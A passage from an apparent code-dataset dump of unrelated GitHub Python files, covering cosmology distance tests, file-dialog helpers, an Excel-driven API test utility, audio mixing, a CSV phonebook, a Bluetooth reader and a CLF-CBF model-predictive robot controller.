wcdm_time(0.0,0.3,-1.4)\n print(\"WCDM, om=0.3, w=-1.4, z=0: r(z) = \", x, \" Err = \",x-time_romberg(0.0,0.3,-1.4) )\n\n x = wcdm_time(1.0,1.0,-1.4)\n print(\"CDM, om=1.0, w=-1.4, z=1: r(z) = \", x, \" Err = \",x-time_romberg(1.0,1.0,-1.4))\n\n x = wcdm_time(1.0,0.3,-1.4)\n print(\"WCDM, om=0.3, w=-1.4, z=1: r(z) = \", x, \" Err = \",x-time_romberg(1.0,0.3,-1.4))\n\n\n print(\"\\nTesting the radiation code\")\n x = wcdm_rad(1.0,0.3,-1.0,8e-5)\n print(\"WCDM, om=0.3, w=-1.0, or=8e-5, z=1: r(z) = \", x, \" Err = \",x-wcdmrad_romberg(1.0,0.3,-1.0,8e-5))\n x = wcdm_rad(1.0,0.3,-0.4,8e-5)\n print(\"WCDM, om=0.3, w=-0.4, or=8e-5, z=1: r(z) = \", x, \" Err = \",x-wcdmrad_romberg(1.0,0.3,-0.4,8e-5) )\n x = wcdm_rad(10.0,0.3,-1.0,8e-5)\n print(\"WCDM, om=0.3, w=-1.0, or=8e-5, z=10: r(z) = \", x, \" Err = \",x-wcdmrad_romberg(10.0,0.3,-1.0,8e-5))\n\n\n print(\"\\nTesting the vectorization\")\n z = np.arange(0.1,1.1,0.1)\n w = np.arange(-1.0,-0.4,0.1)\n om = np.arange(1.0,0.2,-0.1)\n om[0] -= 1e-7\n om2 = np.arange(1.4,0.2,-0.2)\n om2[2] = 1.0\n\n print(\"z: \", z)\n print(\"owcdm(): \", owcdm(z, 0.3, -1, 0)[0])\n print(\"wcdm(): \", wcdm(z, 0.3, -1))\n\n print()\n print(\"w: \", w)\n print(\"owcdm(): \", owcdm(1.0, 0.3, w, 0)[0])\n print(\"wcdm(): \", wcdm(1.0, 0.3, w))\n\n print()\n print(\"om: \", om)\n print(\"wcdm(): \", wcdm(1.0,om,-1))\n print(\"owcdm(): \", owcdm(1.0,om,-1,0)[0])\n print(\"owcdm(): \", propmotdis(1.0,om,-1,0))\n print(\"om: \", om2)\n print(\"wcdm(): \", wcdm(1.0,om2,-1))\n\n print()\n print(\"LCDM D_A: \", angdist(z, 0.3, -1, 0)*3000.0)\n print(\"OCDM D_A: \", angdist(z, 0.3, -1, 0.1)*3000.0)\n print(\"OCDM D_M: \", propmotdis(z, 0.3, -1, 0.1))\n\n print()\n print(\"LCDM H*t(z): \", wcdm_time(z, 0.3, -1))\n print(\"wCDM H*t(z=1): \", wcdm_time(1, 0.3, w))\n print(\"wCDM H*t(z=0): \", wcdm_time(0, 0.3, w))\n print(\"LCDM H*t(z=0) om: \", wcdm_time(0, om, -1))\n print(\"SCDM H*t(z=0): \", wcdm_time(0, 1, -1))\n\n\n\n\nif __name__ == \"__main__\":\n test()\n","repo_name":"oliverphilcox/RascalC","sub_path":"python/wcdm/wcdm.py","file_name":"wcdm.py","file_ext":"py","file_size_in_byte":12251,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"48"} +{"seq_id":"16730636324","text":"import sys #allows access to command line\nimport glob #allows searching for files\nimport os\nimport json #comes with python 3.4\n\nis_wivi = False\ntry:\n import tkinter as tk \n from tkinter import filedialog\nexcept ImportError:\n is_wivi = True\ndef get_input_file_list(autoConvertToDB = False):\n if is_wivi:\n if len(sys.argv) > 1:\n input = json.load(open(sys.argv[1]))\n if 'files' in input:\n return input[\"files\"]\n return input['data_files']\n else:\n return None\n else:\n if len(sys.argv) > 1:\n filenames = glob.glob(sys.argv[1] + '/*.db')\n else:\n filenames = []\n\n if len(filenames) == 0:\n root = tk.Tk()\n root.withdraw()\n root.focus_force()\n root.wm_attributes('-topmost', 1)\n\n options = {}\n #options['initialdir'] = '{0}'.format(os.path.expanduser('~'))\n options['filetypes'] = [(\"Data files\", \"*.dat;*.log;*.mdf;*.mf4;*.db\"), ('all files', '.*')]\n options['title'] = 'Select list of input data files and click open.'\n options['defaultextension'] = '.db'\n #filenames = tkFileDialog.askopenfilenames(parent=self.parent, **options)\n filenames = list(filedialog.askopenfilenames(**options))\n return [{\"path\": item} for item in filenames]\n\ndef get_config_file():\n if is_wivi:\n if len(sys.argv) > 2:\n return sys.argv[2]\n elif len(sys.argv) > 1:\n input = json.load(open(sys.argv[1]))\n if 'config_files' in input and len(input['config_files']) > 1:\n return input['config_files'][0]\n elif 'configuration' in input:\n return json.dumps(input['configuration'])\n return None\n else:\n return None\n else:\n root = tk.Tk()\n root.withdraw()\n root.focus_force()\n root.wm_attributes('-topmost', 1)\n fileName = filedialog.askopenfilename(filetypes = ((\"Lookup files\", \"*.sl;*.asl\"), (\"Signal Lookup files\", \"*.sl\"), (\"Aliased Signal Lookup files\", \"*.asl\"), (\"All files\", \"*.*\")), title =\"Select script config file (*.asl) and click open.\")\n return fileName\n\ndef get_config_data():\n fileName = get_config_file()\n if fileName is not None:\n return json.load(open(fileName))\n else:\n return None\ndef get_output_path():\n if is_wivi:\n if len(sys.argv) > 1:\n input = json.load(open(sys.argv[1]))\n if 'output_dir' in input:\n return input['output_dir']\n return os.getcwd()\n else:\n if len(sys.argv) > 1:\n return sys.argv[1]\n elif len(selected_file) > 0:\n return os.path.dirname(selected_file)\n else:\n os.getcwd()\n\ndef update_progress(percent, message):\n if is_wivi:\n with open(\"progress.ipa\", \"a\") as progFile:\n progFile.write(percent)\n else:\n if len(message):\n sys.stderr.write(message + \"\\n\")\n sys.stderr.write(\"Percent done: {}\\n\".format(percent))\n \ndef is_running_on_wivi_server():\n return is_wivi\n","repo_name":"intrepidcs/ICS_VSBIO","sub_path":"ICS_VSBIO/ICSFileInterfaceLibrary.py","file_name":"ICSFileInterfaceLibrary.py","file_ext":"py","file_size_in_byte":3185,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"1023266342","text":"def get_input():\r\n data = []\r\n with open(\"input.txt\") as f:\r\n data = f.readlines()\r\n return data\r\n\r\ndef solve(data):\r\n gamma, epsilon = \"\", \"\"\r\n for i in range(12):\r\n if sum(bits[i] == \"1\" for bits in data) > len(data)//2:\r\n gamma += \"1\"\r\n epsilon += \"0\"\r\n else:\r\n gamma += \"0\"\r\n epsilon += \"1\"\r\n return int(gamma, 2) * int(epsilon, 2)\r\n\r\nprint(solve(get_input()))\r\n","repo_name":"Kurumoto/advent-of-code-2021","sub_path":"Day 3/Part 1.py","file_name":"Part 1.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42042654153","text":"import logging\nimport logging.handlers\nimport os\nimport sys\nfrom thesis import ExtraneousLineFinder\nfrom thesis.errors import GoalNotFoundError, TraceError\n\ndef fmt_type(type, flag):\n return \"[X] \" + type if flag else \"[ ] \" + type\n\nDATA_SRC = \"/Users/mneary1/Desktop/IPT/data\"\nINPUT_SRC = \"/Users/mneary1/Desktop/IPT/tests/inputs\"\nGOALS_SRC = \"/Users/mneary1/Desktop/IPT/tests/goals\"\nOUTPUT_SRC = \"/Users/mneary1/Desktop/IPT/tests/outputs/\"\nRESULT_SRC = \"/Users/mneary1/Desktop/IPT/results/\"\nLOG_SRC = \"/Users/mneary1/Desktop/IPT/logs\"\n\nfile = \"hw3_294.py\" # of the form: hwx_###.py\n\nwith_execute = not True\nwith_structure = True\nwith_semantic = True\n\nhw = file[:3].upper()\nnum_inputs = len(os.listdir(os.path.join(INPUT_SRC, hw)))\ninputs = [os.path.join(INPUT_SRC, hw, \"input{}.txt\").format(i) for i in range(1, num_inputs + 1)]\ngoals = [os.path.join(GOALS_SRC, hw, \"goal{}.txt\").format(i) for i in range(1, num_inputs + 1)]\noutput_path = os.path.join(OUTPUT_SRC, hw)\nio = dict(zip(inputs, goals))\n\nassignment = os.path.join(DATA_SRC, hw, file)\nprint(\"Testing {} with:\".format(file))\nprint(fmt_type(\"execution\", with_execute))\nprint(fmt_type(\"semantic\", with_semantic))\nprint(fmt_type(\"structure\", with_structure))\nprint()\n\n#set up logging\nlogfilename = \"experiment.log\"\nlogger = logging.getLogger(\"experiment\")\nlogger.setLevel(logging.DEBUG)\nfh = logging.handlers.RotatingFileHandler(os.path.join(LOG_SRC, logfilename), mode='w', backupCount=5)\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nfh.setFormatter(formatter)\nlogger.addHandler(fh)\n\nshould_roll_over = os.path.isfile(logfilename)\nif should_roll_over: # log already exists, roll over!\n fh.doRollover()\n\ntry:\n with ExtraneousLineFinder(assignment, io, output_path, with_execute, with_structure, with_semantic) as finder:\n try:\n ex = finder.run()\n logger.info(\"Extraneous Lines for file {}: {}\".format(file, str(ex)))\n except TraceError as t:\n logger.warn(t)\n except GoalNotFoundError as g:\n logger.warn(g)\n except Exception as e:\n logger.debug(\"{}\".format(e))\n\nexcept Exception as e:\n logger.exception(e)\n\n","repo_name":"MAPLE-Robot-Subgoaling/IPT","sub_path":"src/experiment.py","file_name":"experiment.py","file_ext":"py","file_size_in_byte":2205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26365783382","text":"# coding:utf-8\n# 借助工具类和全局变量文件作用专门获取excel 中的内容\nfrom config import global_var\nfrom lib.excelutils import OperationExcel\nfrom lib.jsonutils import OperationJson\n\n\nclass GetData:\n # 工具类初始化\n def __init__(self):\n self.opera_excel = OperationExcel()\n\n # 列表,每个元素是每行{列头1:单元个1,。。。}\n def get_data(self):\n return self.opera_excel.read_data()\n\n # 获取excel 行号==用例的个数\n def get_case_lines(self):\n return self.opera_excel.get_lines()\n\n # 获取是否执行\n\n def get_is_run(self, row):\n # 列号\n col = int(global_var.get_run())\n run_model = self.opera_excel.get_cell_value(row, col)\n if run_model == 'yes':\n flag = True\n else:\n flag = False\n return flag\n\n # 获取是否携带header\n\n def is_header(self, row):\n # 列号\n col = int(global_var.get_header())\n\n header = self.opera_excel.get_cell_value(row, col)\n if header != '':\n return header\n else:\n return None\n\n # 获取caseId\n def get_request_id(self, row):\n col = int(global_var.get_id())\n request_id = self.opera_excel.get_cell_value(row, col)\n return request_id\n\n # 获取请求方式\n def get_request_method(self, row):\n col = int(global_var.get_run_way())\n request_method = self.opera_excel.get_cell_value(row, col)\n return request_method\n\n # 获取url\n def get_requests_url(self, row):\n col = int(global_var.get_url())\n url = self.opera_excel.get_cell_value(row, col)\n return url\n\n # 获取请求数据---关键字\n def get_request_data(self, row):\n col = int(global_var.get_data())\n data = self.opera_excel.get_cell_value(row, col)\n\n if data == '':\n return None\n return data\n\n # 通过关键字到json文件中取出对应内容 作为请求的数据\n def get_data_for_json(self, row):\n oper_json = OperationJson()\n request_data = oper_json.get_data(self.get_request_data(row))\n return request_data\n\n # 获取预期结果\n def get_except_data(self, row):\n col = int(global_var.get_expect())\n expect = self.opera_excel.get_cell_value(row, col)\n if expect == '':\n return None\n return expect\n\n # 写入实际结果\n def write_result(self, row, value):\n col = int(global_var.get_result())\n self.opera_excel.write_value(row, col, value)\n\n # 获取依赖返回数据的key\n def get_depedent_key(self, row):\n col = int(global_var.get_data_depend())\n depend_key = self.opera_excel.get_cell_value(row, col)\n if depend_key == \"\":\n return None\n else:\n return depend_key\n\n # 判断使用需要用例依赖\n def is_depend(self, row):\n col = int(global_var.get_case_depend())\n depen_case_id = self.opera_excel.get_cell_value(row, col)\n if depen_case_id == \"\":\n return None\n else:\n return depen_case_id\n\n # 获取数据依赖字段\n def get_depend_field(self, row):\n col = int(global_var.get_field_depend())\n data = self.opera_excel.get_cell_value(row, col)\n if data == \"\":\n return None\n else:\n return data\n\n def get_depend(self, row):\n col = int(global_var.get_data_depend())\n data = self.opera_excel.get_cell_value(row, col)\n if data == \"\":\n return None\n else:\n return data\n\n def get_params(self, row):\n col = int(global_var.get_data_params())\n data = self.opera_excel.get_cell_value(row, col)\n if data == \"\":\n return None\n else:\n return data\n\n def get_type(self, row):\n col = int(global_var.get_type())\n data = self.opera_excel.get_cell_value(row, col)\n if data == \"\":\n return None\n else:\n return data\n","repo_name":"tqq1994516/api_automation","sub_path":"lib/GetData.py","file_name":"GetData.py","file_ext":"py","file_size_in_byte":4069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19193234552","text":"__version__ = \"$Id$\"\n\nfrom format import *\nimport convert\nimport audioop\nimport string\n\nclass merge:\n def __init__(self, *args):\n self.__readers = []\n self.__mapreaders = []\n self.__port = None\n self.__framerate = 0\n self.__format = None\n for arg in args:\n if type(arg) is type(()):\n apply(self.merge, arg)\n else:\n self.merge(arg)\n\n def add(self, rdr, callback = None):\n if self.__readers:\n nrdr = convert.convert(rdr, (self.__format,),\n (self.__framerate,))\n else:\n nrdr = convert.convert(rdr, (linear_8_mono_signed,\n linear_8_stereo_signed,\n linear_16_mono,\n linear_16_stereo))\n self.__framerate = nrdr.getframerate()\n self.__format = nrdr.getformat()\n self.__readers.append((nrdr, callback))\n self.__mapreaders.append((rdr, nrdr))\n\n def delete(self, rdr):\n # find the mapping and delete it\n for i in range(len(self.__mapreaders)):\n if rdr is self.__mapreaders[i][0]:\n rdr = self.__mapreaders[i][1]\n del self.__mapreaders[i]\n break\n # find the mapped reader and delete it\n for i in range(len(self.__readers)):\n if rdr is self.__readers[i][0]:\n del self.__readers[i]\n return\n\n def readframes(self, nframes = -1):\n stretches = []\n counts = []\n width = self.__format.getbps() / 8\n for i in range(len(self.__readers)):\n rdr, cb = self.__readers[i]\n data, nf = rdr.readframes(nframes)\n if not data:\n # got to the end of this one\n self.__readers[i] = rdr, None\n if cb:\n apply(cb[0], cb[1])\n continue\n newstretches = []\n newcounts = []\n for i in range(len(counts)):\n mixed = stretches[i]\n count = counts[i]\n if data:\n minlen = min(len(data), len(mixed))\n data0 = data[:minlen]\n data = data[minlen:]\n mixed0 = mixed[:minlen]\n mixed = mixed[minlen:]\n newstretches.append(audioop.add(mixed0, data0, width))\n newcounts.append(count + 1)\n if mixed:\n newstretches.append(mixed)\n newcounts.append(count)\n newstretches.append(data)\n newcounts.append(1)\n stretches = newstretches\n counts = newcounts\n data = string.joinfields(stretches, '')\n return data, len(data) / (width * self.__format.getnchannels())\n\n def getformat(self):\n return self.__format\n\n def getnframes(self):\n nframes = 0\n for (rdr, cb) in self.__readers:\n n = rdr.getnframes()\n nframes = max(n, nframes)\n return nframes\n\n def getframerate(self):\n return self.__framerate\n\n def rewind(self):\n for (rdr, cb) in self.__readers:\n rdr.rewind()\n\n def getpos(self):\n positions = []\n for (rdr, cb) in self.__readers:\n positions.append((rdr, rdr.getpos()))\n return positions\n\n def setpos(self, pos):\n for (rdr, p) in pos:\n # only set pos of readers that weren't deleted\n for i in range(len(self.__readers)):\n if self.__readers[i][0] == rdr:\n rdr.setpos(p)\n break\n","repo_name":"cwi-dis/grins","sub_path":"mm/pylib/audio/merge.py","file_name":"merge.py","file_ext":"py","file_size_in_byte":3733,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"73850466385","text":"from csv import DictWriter, DictReader\nfrom os.path import exists\n\nfile_name = 'hw/contacts.csv'\n\ndef create_file():\n with open(file_name, 'w', encoding='utf-8') as data:\n f_writer = DictWriter(data, fieldnames=['Фамилия', 'Имя', 'Отчество', 'Номер телефона'])\n f_writer.writeheader()\n\ndef get_info():\n last_name = input('Введите фамилию: ')\n first_name = input('Введите имя: ')\n patronymic = input('Введите отчество: ')\n phone_number = input('Введите номер телефона: ')\n \n info = [last_name, first_name, patronymic, phone_number]\n return info\n\ndef read_file(file_name):\n with open(file_name, encoding='utf-8') as data:\n f_reader = DictReader(data)\n res = list(f_reader)\n return res\n\ndef write_file(file_name, lst):\n with open(file_name, encoding='utf-8') as data:\n f_reader = DictReader(data)\n res = list(f_reader)\n obj = {'Фамилия': lst[0], 'Имя': lst[1], 'Отчество': lst[2], 'Номер телефона': lst[3]}\n\n existing_data = read_file(file_name)\n existing_data.append(obj)\n res.append(obj)\n with open(file_name, 'w', encoding='utf-8') as data:\n f_writer = DictWriter(data, fieldnames=['Фамилия', 'Имя', 'Отчество', 'Номер телефона'])\n f_writer.writeheader()\n f_writer.writerows(existing_data)\n\ndef edit_contact(file_name, last_name_to_change):\n with open(file_name, encoding='utf-8') as data:\n f_reader = DictReader(data)\n res = list(f_reader)\n contact_found = False \n for contact in res:\n if contact['Фамилия'] == last_name_to_change:\n print(f'Изменение контакта: {contact}')\n new_info = get_info()\n contact['Фамилия'] = new_info[0]\n contact['Имя'] = new_info[1]\n contact['Отчество'] = new_info[2]\n contact['Номер телефона'] = new_info[3]\n print(f'Контакт изменен: {contact}')\n contact_found = True\n break \n if not contact_found:\n print('Контакт не найден.')\n with open(file_name, 'w', encoding='utf-8') as data:\n f_writer = DictWriter(data, fieldnames=['Фамилия', 'Имя', 'Отчество', 'Номер телефона'])\n f_writer.writeheader()\n f_writer.writerows(res)\n\ndef delete_contact(file_name, last_name_to_delete):\n with open(file_name, encoding='utf-8') as data:\n f_reader = DictReader(data)\n res = list(f_reader)\n contact_found = False\n for contact in res:\n if contact['Фамилия'] == last_name_to_delete:\n print(f'Удаление контакта: {contact}')\n res.remove(contact)\n print(f'Контакт удален')\n contact_found = True\n break\n if not contact_found:\n print('Контакт не найден.')\n with open(file_name, 'w', encoding='utf-8') as data:\n f_writer = DictWriter(data, fieldnames=['Фамилия', 'Имя', 'Отчество', 'Номер телефона'])\n f_writer.writeheader()\n f_writer.writerows(res)\n\ndef main():\n while True:\n command = input('Введите команду (r - чтение, w - запись, e - изменить контакт, d - удалить контакт, q - выход): ')\n if command == 'q':\n break\n elif command == 'r':\n if not exists(file_name):\n break\n print(read_file(file_name))\n elif command == 'w':\n if not exists(file_name):\n create_file()\n write_file(file_name, get_info())\n elif command == 'e':\n last_name_to_change = input('Введите фамилию контакта для изменения: ')\n edit_contact(file_name, last_name_to_change)\n elif command == 'd':\n last_name_to_delete = input('Введите фамилию контакта для удаления: ')\n delete_contact(file_name, last_name_to_delete)\n\nmain()","repo_name":"mariezhuravleva/python","sub_path":"hw/task38.py","file_name":"task38.py","file_ext":"py","file_size_in_byte":4243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25083239722","text":"import asyncio\nfrom bleak import *\n\n\nasync def run():\n\n characteristic = \"6b90ba69-3581-4c91-9614-ccc1d2178103\"\n ble = None\n devices = await discover()\n for d in devices:\n if d.name == '3dMouse':\n ble = d\n if ble is not None:\n client = BleakClient(ble)\n print(\"connected to {}\".format(ble.name))\n connection = await client.connect()\n data = await client.read_gatt_char(characteristic)\n print(int.from_bytes(data[0:3], byteorder='big'))\n print(int.from_bytes(data[4:7], byteorder='big'))\n print(int.from_bytes(data[8:11], byteorder='big'))\n await client.disconnect()\n\nloop = asyncio.get_event_loop()\nloop.run_until_complete(run())","repo_name":"Cali0707/bluetooth_mouse","sub_path":"source/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21264771209","text":"import numpy as np\nimport casadi as ca\n\nclass CLF_CBF_NMPC():\n \"\"\"\n A class encapsulating the CLF-CBF-NMPC method, implemented using CasADi. \n\n Detailed description. \n\n Attributes:\n N : MPC horizon\n M_CBF : CBF constraints horizon\n M_CLF : CLF constraints horizon\n gamma_k : (1-\\\\gamma_k) is the exponential decreasing rate of a CBF at time step k\n alpha_k : (1-\\\\alpha_k) is the exponential decreasing rate of a CLF at time step k\n step : discretization time step in seconds \n goal_global : goal state in global coordinates\n \n opti : CasADi's Opti stack\n opt_x0_global : initial state in global coordinates\n opt_x0_local : initial state in global coordinates\n opt_states : optimized states/trajectory\n opt_controls : optimized control variables\n opt_trj : optimized trajectory (in global coordinates)\n opt_d_slack : a slack variable resolving infeasibility between CLF and CBF\n opt_cost : \n\n\n goal_local : goal state in local coordinates\n v_max : Maximum linear velocity\n omega_max : Maximum angular velocity\n \"\"\"\n\n ## parameters for optimization\n step = 0.1\n N = 12 \n M_CBF = 6 \n M_CLF = 1 \n gamma_k = 0.1 \n alpha_k = 0.01 \n opti = ca.Opti()\n\n opt_x0_global = opti.parameter()\n opt_x0_local = opti.parameter()\n opt_controls = opti.variable(N)\n opt_states = opti.variable(N+1)\n opt_d_slack = opti.variable(N)\n opt_cost = 0\n\n v_max = 0.5\n omega_max = 1.5\n\n def __init__(self, n, stp, m_cbf, m_clf, gamma, alpha, dim_x = 3, dim_u = 2):\n self.N = n\n self.step = stp\n self.M_CBF = m_cbf\n self.M_CLF = m_clf\n self.gamma_k = gamma\n self.alpha_k = alpha\n self.opti = ca.Opti()\n\n self.v_max = 0.45\n self.omega_max = 1.5\n # self.v_max = v_m\n # self.omega_max = omg_m\n\n # state variables\n self.opt_states = self.opti.variable(self.N+1, dim_x)\n # control variables: linear velocity v and angle velocity omega\n self.opt_controls = self.opti.variable(self.N, dim_u)\n # a slack variable to avoid infeasibility between CLF and CBF constraints\n self.opt_d_slack = self.opti.variable(self.N, 1)\n \n # initial state\n self.opt_x0_local = self.opti.parameter(dim_x)\n self.opt_x0_global = self.opti.parameter(dim_x)\n self.goal_global = self.opti.parameter(dim_x)\n self.goal_local = self.opti.parameter(dim_x)\n \n # set up cost function\n self.__set_cost_func()\n\n\n def reset(self):\n # clear all constraints\n self.opti.subject_to()\n self.opt_cost = 0\n self.__set_cost_func()\n\n def set_goal(self, goal_state):\n \"\"\"\n Set goal states (in globla coordinates)\n\n Turn a vector into a matrix. \n\n Args:\n goal_global: : vector/list\n \n Returns:\n None.\n \"\"\"\n self.opti.set_value(self.goal_global, goal_state)\n self.opti.set_value(self.goal_local, goal_state)\n\n def __set_cost_func(self):\n # quadratic cost : J = (x-goal)^T * Q * (x-goal) + u^T * R * u + W_slack * opt_d_slack \n # Q : Weights for state variables in a (quadratic) cost function \n # R : Weights for control input variables in a (quadratic) cost function\n Q = np.array([[1, 0.0, 0.0],[0.0, 1, 0.0],[0.0, 0.0, 0.0]])\n R = np.array([[0.01, 0.0], [0.0, 0.00001]])\n W_slack = np.array([[1000]])\n for i in range(self.N):\n self.opt_cost = self.opt_cost + ca.mtimes([self.opt_controls[i, :], R, self.opt_controls[i, :].T]) + ca.mtimes([self.opt_d_slack[i, :], W_slack, self.opt_d_slack[i, :].T])\n # self.opt_cost = self.opt_cost + ca.mtimes([(self.opt_states[i, :] - self.goal_local.T), Q, (self.opt_states[i, :]- self.goal_local.T).T]) / 5\n # final term \n self.opt_cost = self.opt_cost + ca.mtimes([(self.opt_states[self.N-1, :] - self.goal_local.T), Q, (self.opt_states[self.N-1, :]- self.goal_local.T).T])\n\n\n def __global2local(self):\n \"\"\"\n Transform global coordinates into local coordinates w.r.t. the robot\n\n Robot is always at the origin (0,0, theta). Orientation is left as is. \n\n Args: \n None.\n Returns:\n None.\n \"\"\"\n init_st = self.opti.value(self.opt_x0_global)\n # self.opti.set_value(self.goal_local, self.opti.value(self.goal_global) - init_st)\n # self.opti.set_value(self.opt_x0_local, self.opti.value(self.opt_x0_global) - init_st)\n self.goal_local[0] = self.goal_global[0] -init_st[0]\n self.goal_local[1] = self.goal_global[1] -init_st[1]\n self.opt_x0_local[0] = self.opt_x0_global[0] -init_st[0]\n self.opt_x0_local[1] = self.opt_x0_global[1] -init_st[1]\n # time k\n for t_k in self.obstacles:\n # obstacle i at time k\n for obs_i in t_k:\n obs_i[0] -= init_st[0]\n obs_i[1] -= init_st[1]\n \n\n # print('Goal_global:')\n # print(self.opti.value(self.goal_global))\n # # print('Goal_local:')\n # print(self.opti.value(self.goal_local))\n\n def __local2global(self):\n delta = self.opti.value(self.opt_x0_global-self.opt_x0_local)\n self.opt_trj = self.solution.value(self.opt_states).copy()\n # state at time k\n for st_k in self.opt_trj:\n # only transform back x and y coordinates\n self.opt_trj[0] += delta[0]\n self.opt_trj[1] += delta[1]\n \n def __add_system_constrnts(self): \n x = self.opt_states[:, 0]\n y = self.opt_states[:, 1]\n # theta = self.opt_states[:, 2]\n v = self.opt_controls[:, 0]\n omega = self.opt_controls[:, 1]\n # position boundaries (not necessary)\n delta = self.opti.value(self.opt_x0_global-self.opt_x0_local)\n self.opti.subject_to(self.opti.bounded(-1.45, x+delta[0], 1.45))\n self.opti.subject_to(self.opti.bounded(-1.45, y+delta[1], 1.45))\n # admissable control constraints\n self.opti.subject_to(self.opti.bounded(-self.v_max, v, self.v_max))\n self.opti.subject_to(self.opti.bounded(-self.omega_max, omega, self.omega_max)) \n\n def __add_dynamics_constrnts(self):\n # create system dynamics x(t+1) = x(t) + f(x(t), u) * step\n f = lambda x_, u_: ca.vertcat(*[u_[0]*ca.cos(x_[2]), u_[0]*ca.sin(x_[2]), u_[1]])\n \n # initial condition constraint\n self.opti.subject_to(self.opt_states[0, :] == self.opt_x0_local.T) # In local, x0 == [vec(0), theta]\n # self.opti.subject_to(self.opt_states[0, :] == self.opt_x0.T)\n\n # Dynamics constraints\n for i in range(self.N):\n x_next = self.opt_states[i, :] + self.step*f(self.opt_states[i, :], self.opt_controls[i, :]).T\n self.opti.subject_to(self.opt_states[i+1, :]==x_next)\n\n def __add_safe_constrnts(self):\n # safe distance\n safe_dist = 0.24\n # control barrier function\n h = lambda x_,y_: (x_[0] - y_[0]) ** 2 + (x_[1] - y_[1]) ** 2 - safe_dist**2\n \n # add CBF constraints\n for i in range(self.M_CBF):\n # current and future safety contraints\n # others_states[i][j]: agent No. j+1 's state at i steps ahead, these are provided by an observer & a predictor\n for j in range(np.size(self.obstacles, 1)):\n self.opti.subject_to(h(self.opt_states[i+1, :], self.obstacles[i+1][j]) >= (1-self.gamma_k)*h(self.opt_states[i, :], self.obstacles[i][j]) ) \n\n def __add_stability_constrnts(self):\n # control Lyapunov function \n V = lambda x_: (x_[0] - self.goal_local[0]) ** 2 + (x_[1] - self.goal_local[1]) ** 2 \n # add CLF constraints\n for i in range(self.M_CLF):\n self.opti.subject_to(V(self.opt_states[i+1, :]) <= (1-self.alpha_k)*V(self.opt_states[i, :]) + self.opt_d_slack[i, :])\n pass\n\n def __adopt_d_slack_constrnts(self):\n pass\n\n def solve(self, init_st, goal_st, others_states):\n \"\"\"\n Solving the CLF-CBF-NMPC optimization. \n\n Initializing the solver is required before first-time using. \n\n\n Args: \n init_st : initial state of the robot\n others_states : all other agents' (or obstacles') states at CURRENT step AND some FUTURE steps \n\n Returns:\n global_states_sol : optimized trajectory (in global coordinates)\n controls_sol : optimized control inputs trajectory \n d_slck_sol : optimized slack variable\n local_states_sol : optimized trajectory (in local coordinates)\n \"\"\"\n # Reset the optimizer FIRST!\n self.reset()\n # print(\"Optimizer reset.\")\n \n # set initial states\n self.opti.set_value(self.opt_x0_global, init_st)\n self.opti.set_value(self.opt_x0_local, init_st)\n # set goal states\n self.set_goal(goal_st)\n\n # obstacles or other agents\n self.obstacles = others_states.copy()\n # only care about obstacles within an ROI \n l = []\n for i in range(self.obstacles.shape[1]):\n if((self.obstacles[0][i][0] - init_st[0])** 2 + (self.obstacles[0][i][1] - init_st[1])** 2 > 1):\n l.append(i)\n # delete those out of the ROI\n self.obstacles = np.delete(self.obstacles, l, axis=1)\n # print(self.obstacles.shape)\n\n\n # Turn everything into local coordinates. \n self.__global2local() # Very IMPORTANT!! \n # print('Coordinates transformed to local.')\n\n # Adding constraints to the optimizer\n self.__add_system_constrnts()\n self.__add_dynamics_constrnts()\n self.__add_safe_constrnts()\n self.__add_stability_constrnts()\n\n # Optimizer configures\n self.opti.minimize(self.opt_cost)\n opts_setting = {'ipopt.max_iter':200, 'ipopt.print_level':1, 'print_time':0, 'ipopt.acceptable_tol':1e-5, 'ipopt.acceptable_obj_change_tol':1e-5}\n self.opti.solver('ipopt', opts_setting)\n # self.opti.solver('ipopt')\n # self.solution = self.opti.solve()\n \n\n # Solve\n try:\n self.solution = self.opti.solve()\n local_states_sol = self.opti.value(self.opt_states)\n controls_sol = self.opti.value(self.opt_controls)\n # d_slck_sol = self.opti.value(self.opt_d_slack)\n self.__local2global()\n global_states_sol = self.opt_trj\n except:\n print('Something went wrong!!')\n local_states_sol = self.opti.debug.value(self.opt_states)\n controls_sol = self.opti.debug.value(self.opt_controls)\n # d_slck_sol = self.opti.debug.value(self.opt_d_slack)\n self.__local2global()\n global_states_sol = self.opt_trj\n\n return global_states_sol, controls_sol, local_states_sol #, d_slck_sol,\n # return self.solution\n \n def get_optimized_u(self):\n print('Optimized controls:')\n print(self.solution.value(self.opt_controls)[0, :])\n return self.solution.value(self.opt_controls)[0, :]\n\n\n\ndef Simple_Catcher(attacker_state,defender_state):\n is_poistive = 1\n distance = np.sqrt(np.sum(np.square(attacker_state[:2] - defender_state[:2])))\n dx =attacker_state[0] - defender_state[0]\n dy =attacker_state[1] - defender_state[1]\n theta_e = np.arctan2(dy,dx) - defender_state[2]\n # print(np.arctan(dy/dx))\n # print(defender_state[2])\n # attacker_state[2] - defender_state[2]\n if(theta_e>np.pi):\n theta_e -= 2*np.pi\n elif (theta_e<-np.pi):\n theta_e += 2*np.pi\n # print(theta_e)\n \n if(theta_e>np.pi/2 or theta_e<-np.pi/2):\n is_poistive = -1\n\n u = 1.5*distance*is_poistive\n w = theta_e*is_poistive\n u = np.clip(u, -0.32, 0.32)\n w = np.clip(w, -2, 2)\n return np.array([u,w])\n\n\n## Test Code\nif __name__ == '__main__':\n states = np.array([[-1,0,0],[0.5,0,-np.pi]])\n u = CLF_CBF_NMPC(states[0],states[1])\n 